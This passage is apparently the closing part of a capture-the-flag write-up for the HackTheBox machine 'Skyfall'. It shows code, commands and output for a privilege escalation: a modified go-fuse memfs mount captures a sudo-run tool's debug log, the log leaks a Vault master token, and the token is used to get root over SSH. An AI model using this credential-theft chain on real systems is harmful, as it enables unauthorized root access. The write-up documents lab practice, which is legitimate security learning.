"github.com/hanwen/go-fuse/v2/fuse/nodefs"
)
func main() {
// Scans the arg list and sets up flags
debug := flag.Bool("debug", false, "print debugging messages.")
flag.Parse()
if flag.NArg() < 2 {
// TODO - where to get program name?
fmt.Println("usage: main MOUNTPOINT BACKING-PREFIX")
os.Exit(2)
}
mountPoint := flag.Arg(0)
prefix := flag.Arg(1)
root := nodefs.NewMemNodeFSRoot(prefix)
conn := nodefs.NewFileSystemConnector(root, nil)
server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
Debug: *debug,
})
if err != nil {
fmt.Printf("Mount fail: %v\n", err)
os.Exit(1)
}
fmt.Println("Mounted!")
server.Serve()
}
In the code there is a variable setting options fuse.MountOptions
. If we check the code for this fuse
library (fuse/api.go
) we have:
<SNIP>
type MountOptions struct {
AllowOther bool
// Options are passed as -o string to fusermount.
Options []string
// Default is _DEFAULT_BACKGROUND_TASKS, 12. This numbers
// controls the allowed number of requests that relate to
// async I/O. Concurrency for synchronous I/O is not limited.
MaxBackground int
<SNIP>
where I can see the option AllowOther
, that is a boolean variable. So we add this variable in the original code to be true
. Therefore, the code for main.go
now is:
// Copyright 2016 the Go-FUSE Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Mounts MemNodeFs for testing purposes.
package main
import (
"flag"
"fmt"
"os"
"github.com/hanwen/go-fuse/v2/fuse"
"github.com/hanwen/go-fuse/v2/fuse/nodefs"
)
func main() {
// Scans the arg list and sets up flags
debug := flag.Bool("debug", false, "print debugging messages.")
flag.Parse()
if flag.NArg() < 2 {
// TODO - where to get program name?
fmt.Println("usage: main MOUNTPOINT BACKING-PREFIX")
os.Exit(2)
}
mountPoint := flag.Arg(0)
prefix := flag.Arg(1)
root := nodefs.NewMemNodeFSRoot(prefix)
conn := nodefs.NewFileSystemConnector(root, nil)
server, err := fuse.NewServer(conn.RawFS(), mountPoint, &fuse.MountOptions{
Debug: *debug,
AllowOther: true, // MODIFIED LINE
})
if err != nil {
fmt.Printf("Mount fail: %v\n", err)
os.Exit(1)
}
fmt.Println("Mounted!")
server.Serve()
}
and build it:
β― go build -o memfs_modified
We repeat the steps to transfer the file, assign to it execution permissions and re-run the modified binary in the target machine:
askyy@skyfall:/dev/shm$ ./memfs_modified
usage: main MOUNTPOINT BACKING-PREFIX
askyy@skyfall:/dev/shm$ ./memfs_modified output/ test
Mounted!
and in the other terminal/session we run:
askyy@skyfall:/dev/shm$ cd output
askyy@skyfall:/dev/shm/output$ sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd
[+] Reading: /etc/vault-unseal.yaml
[-] Security Risk!
[+] Found Vault node: http://prd23-vault-internal.skyfall.htb
[>] Check interval: 5s
[>] Max checks: 5
[>] Checking seal status
[+] Vault sealed: false
We have now new files:
askyy@skyfall:/dev/shm$ ls
memfs memfs_modified output test1
We can now read the contents of test1
, which should be the content of the generated debug.log
file:
askyy@skyfall:/dev/shm$ cat test1
2024/09/01 01:23:21 Initializing logger...
2024/09/01 01:23:21 Reading: /etc/vault-unseal.yaml
2024/09/01 01:23:21 Security Risk!
2024/09/01 01:23:21 Master token found in config: hvs.I0ewVsmaKU1SwVZAKR3T0mmG
2024/09/01 01:23:21 Found Vault node: http://prd23-vault-internal.skyfall.htb
2024/09/01 01:23:21 Check interval: 5s
2024/09/01 01:23:21 Max checks: 5
2024/09/01 01:23:21 Establishing connection to Vault...
2024/09/01 01:23:21 Successfully connected to Vault: http://prd23-vault-internal.skyfall.htb
2024/09/01 01:23:21 Checking seal status
2024/09/01 01:23:21 Vault sealed: false
where I can see another VAULT_TOKEN
with value hvs.I0ewVsmaKU1SwVZAKR3T0mmG
.
I remember that we had an admin_otp_key_role
when we tried to log in via SSH
and we got access denied. But what if we update the parameters with this token and we check if we have access to it with this new token? Since it is an “admin” token, we can try to log in as root
:
β― export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/"
β― export VAULT_ADDR="http://prd23-vault-internal.skyfall.htb/"
β― export VAULT_TOKEN="hvs.I0ewVsmaKU1SwVZAKR3T0mmG"
and finally try to connect via SSH
as root
:
β― ./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Mar 27 13:20:05 2024 from 10.10.14.46
root@skyfall:~# whoami
root
and it worked! GG.
~Happy Hacking